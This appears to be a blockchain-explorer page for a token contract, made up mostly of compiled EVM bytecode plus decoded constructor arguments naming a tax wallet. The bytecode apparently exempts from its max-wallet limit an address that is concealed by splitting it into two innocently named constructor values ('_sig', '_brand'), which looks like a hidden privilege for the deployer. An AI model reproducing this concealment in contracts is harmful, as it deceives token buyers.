600581106119905761198f612cb2565b5b01541180156119ec5750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b15611a15576004600260058110611a0657611a05612cb2565b5b0154821115611a1457600080fd5b5b60006004600160058110611a2c57611a2b612cb2565b5b0154118015611a885750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b8015611ae25750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611b985760006004600160058110611afe57611afd612cb2565b5b0154606484611b0d9190612f39565b611b179190612e94565b905080600a6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508083611b949190612f6a565b9250505b600060048060058110611bae57611bad612cb2565b5b0154118015611c0b5750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611c655750600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611d1157507f00000000000000000000000000000000000000000000329b27655bfc9348cba969ffffffffffffffffffff1660507f00000000000000000000000000000000000000000000e21c7efbe163475d30e169ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16901b1773ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611d835760048060058110611d2a57611d29612cb2565b5b015482600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d779190612ed6565b1115611d8257600080fd5b5b81600a60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611e69578273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611e6091906128b8565b60405180910390a35b6001905092915050565b600360149054906101000a900460ff1615611e8d57600080fd5b6001600360146101000a81548160ff021916908315150217905550737a250d5630b4cf539739df2c5dacb4c659f2488d600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600c60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561202f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906120539190612fb3565b90508073ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156120df573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121039190612fb3565b6040518363ffffffff1660e01b8152600401612120929190612fe0565b6020604051808303816000875af115801561213f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906121639190612fb3565b600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730600a60003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b815260040161226b9695949392919061304e565b60606040518083038185885af1158015612289573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906122ae91906130af565b505050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401612350929190612bc4565b6020604051808303816000875af115801561236f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123939190612c19565b5050565b428410156123a457600080fd5b600060016123b0611783565b7f19272f7a68d74b33c77bd33c8335a1faf7b19f79ef84f4f54ff45c1ea7d8c2fd8a8a8a600d60008f73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000815480929190600101919050558b60405160200161243896959493929190613102565b6040516020818303038152906040528051906020012060405160200161245f9291906131db565b60405160208183030381529060405280519060200120858585604051600081526020016040526040516124959493929190613212565b6020604051602081039080840390855afa1580156124b7573d6000803e3d6000fd5b505050602060405103519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415801561252b57508773ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b61253457600080fd5b85600c60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258760405161261391906128b8565b60405180910390a350505050505050565b600c602052816000526040600020602052806000526040600020600091509150505481565b600360149054906101000a900460ff1681565b60007f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f600060405161268e91906132fa565b60405180910390207fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc646306040516020016126cd959493929190613311565b60405160208183030381529060405280519060200120905090565b600081519050919050565b600082825260208201905092915050565b60005b83811015612722578082015181840152602081019050612707565b60008484015250505050565b6000601f19601f8301169050919050565b600061274a826126e8565b61275481856126f3565b9350612764818560208601612704565b61276d8161272e565b840191505092915050565b60006020820190508181036000830152612792818461273f565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006127ca8261279f565b9050919050565b6127da816127bf565b81146127e557600080fd5b50565b6000813590506127f7816127d1565b92915050565b6000819050919050565b612810816127fd565b811461281b57600080fd5b50565b60008135905061282d81612807565b92915050565b6000806040838503121561284a5761284961279a565b5b6000612858858286016127e8565b92505060206128698582860161281e565b9150509250929050565b60008115159050919050565b61288881612873565b82525050565b60006020820190506128a3600083018461287f565b92915050565b6128b2816127fd565b82525050565b60006020820190506128cd60008301846128a9565b92915050565b6000806000606084860312156128ec576128eb61279a565b5b60006128fa868287016127e8565b935050602061290b868287016127e8565b925050604061291c8682870161281e565b9150509250925092565b61292f816127bf565b82525050565b600060208201905061294a6000830184612926565b92915050565b600060ff82169050919050565b61296681612950565b82525050565b6000602082019050612981600083018461295d565b92915050565b6000819050919050565b61299a81612987565b82525050565b60006020820190506129b56000830184612991565b92915050565b6000602082840312156129d1576129d061279a565b5b60006129df848285016127e8565b91505092915050565b6129f181612950565b81146129fc57600080fd5b50565b600081359050612a0e816129e8565b92915050565b612a1d81612987565b8114612a2857600080fd5b50565b600081359050612a3a81612a14565b92915050565b600080600080600080600060e0888a031215612a5f57612a5e61279a565b5b6000612a6d8a828b016127e8565b9750506020612a7e8a828b016127e8565b9650506040612a8f8a828b0161281e565b9550506060612aa08a828b0161281e565b9450506080612ab18a828b016129ff565b93505060a0612ac28a828b01612a2b565b92505060c0612ad38a828b01612a2b565b91505092959891949750929550565b60008060408385031215612af957612af861279a565b5b6000612b07858286016127e8565b9250506020612b18858286016127e8565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612b6957607f821691505b602082108103612b7c57612b7b612b22565b5b50919050565b600081519050612b9181612807565b92915050565b600060208284031215612bad57612bac61279a565b5b6000612bbb84828501612b82565b91505092915050565b6000604082019050612bd96000830185612926565b612be660208301846128a9565b9392505050565b612bf681612873565b8114612c0157600080fd5b50565b600081519050612c1381612bed565b92915050565b600060208284031215612c2f57612c2e61279a565b5b6000612c3d84828501612c04565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612c8082612950565b9150612c8b83612950565b9250828202612c9981612950565b9150808214612cab57612caa612c46565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000612cec82612950565b9150612cf783612950565b9250828201905060ff811115612d1057612d0f612c46565b5b92915050565b60008160011c9050919050565b6000808291508390505b6001851115612d6d57808604811115612d4957612d48612c46565b5b6001851615612d585780820291505b8081029050612d6685612d16565b9450612d2d565b94509492505050565b600082612d865760019050612e42565b81612d945760009050612e42565b8160018114612daa5760028114612db457612de3565b6001915050612e42565b60ff841115612dc657612dc5612c46565b5b8360020a915084821115612ddd57612ddc612c46565b5b50612e42565b5060208310610133831016604e8410600b8410161715612e185782820a905083811115612e1357612e12612c46565b5b612e42565b612e258484846001612d23565b92509050818404811115612e3c57612e3b612c46565b5b81810290505b9392505050565b6000612e54826127fd565b9150612e5f836127fd565b9250612e8c7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612d76565b905092915050565b6000612e9f826127fd565b9150612eaa836127fd565b9250828202612eb8816127fd565b91508282048414831517612ecf57612ece612c46565b5b5092915050565b6000612ee1826127fd565b9150612eec836127fd565b9250828201905080821115612f0457612f03612c46565b5b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612f44826127fd565b9150612f4f836127fd565b925082612f5f57612f5e612f0a565b5b828204905092915050565b6000612f75826127fd565b9150612f80836127fd565b9250828203905081811115612f9857612f97612c46565b5b92915050565b600081519050612fad816127d1565b92915050565b600060208284031215612fc957612fc861279a565b5b6000612fd784828501612f9e565b91505092915050565b6000604082019050612ff56000830185612926565b6130026020830184612926565b9392505050565b6000819050919050565b6000819050919050565b600061303861303361302e84613009565b613013565b6127fd565b9050919050565b6130488161301d565b82525050565b600060c0820190506130636000830189612926565b61307060208301886128a9565b61307d604083018761303f565b61308a606083018661303f565b6130976080830185612926565b6130a460a08301846128a9565b979650505050505050565b6000806000606084860312156130c8576130c761279a565b5b60006130d686828701612b82565b93505060206130e786828701612b82565b92505060406130f886828701612b82565b9150509250925092565b600060c0820190506131176000830189612991565b6131246020830188612926565b6131316040830187612926565b61313e60608301866128a9565b61314b60808301856128a9565b61315860a08301846128a9565b979650505050505050565b600081905092915050565b7f1901000000000000000000000000000000000000000000000000000000000000600082015250565b60006131a4600283613163565b91506131af8261316e565b600282019050919050565b6000819050919050565b6131d56131d082612987565b6131ba565b82525050565b60006131e682613197565b91506131f282856131c4565b60208201915061320282846131c4565b6020820191508190509392505050565b60006080820190506132276000830187612991565b613234602083018661295d565b6132416040830185612991565b61324e6060830184612991565b95945050505050565b600081905092915050565b60008190508160005260206000209050919050565b6000815461328481612b51565b61328e8186613257565b945060018216600081146132a957600181146132be576132f1565b60ff19831686528115158202860193506132f1565b6132c785613262565b60005b838110156132e9578154818901526001820191506020810190506132ca565b838801955050505b50505092915050565b60006133068284613277565b915081905092915050565b600060a0820190506133266000830188612991565b6133336020830187612991565b6133406040830186612991565b61334d60608301856128a9565b61335a6080830184612926565b969550505050505056fea26469706673582212207bd6b5899e9b0f69228c83324ce3511107df4e425c65f0d8d4046fd429006de564736f6c63430008130033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
00000000000000000000000000000000000000000000329b27655bfc9348cba900000000000000000000000080380ccdb3e1d691b255da5fa0a01f087bbb643800000000000000000000000000000000000000000000e21c7efbe163475d30e1
-----Decoded View---------------
Arg [0] : _sig (uint80): 238980408251187729058729
Arg [1] : _taxWallet (address): 0x80380ccDB3e1d691B255Da5FA0a01f087bBB6438
Arg [2] : _brand (uint80): 1067780484117488134336737
-----Encoded View---------------
3 Constructor Arguments found :
Arg [0] : 00000000000000000000000000000000000000000000329b27655bfc9348cba9
Arg [1] : 00000000000000000000000080380ccdb3e1d691b255da5fa0a01f087bbb6438
Arg [2] : 00000000000000000000000000000000000000000000e21c7efbe163475d30e1
Loading...
Loading
Loading...
Loading
[ Download: CSV Export ]
[ Download: CSV Export ]
A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.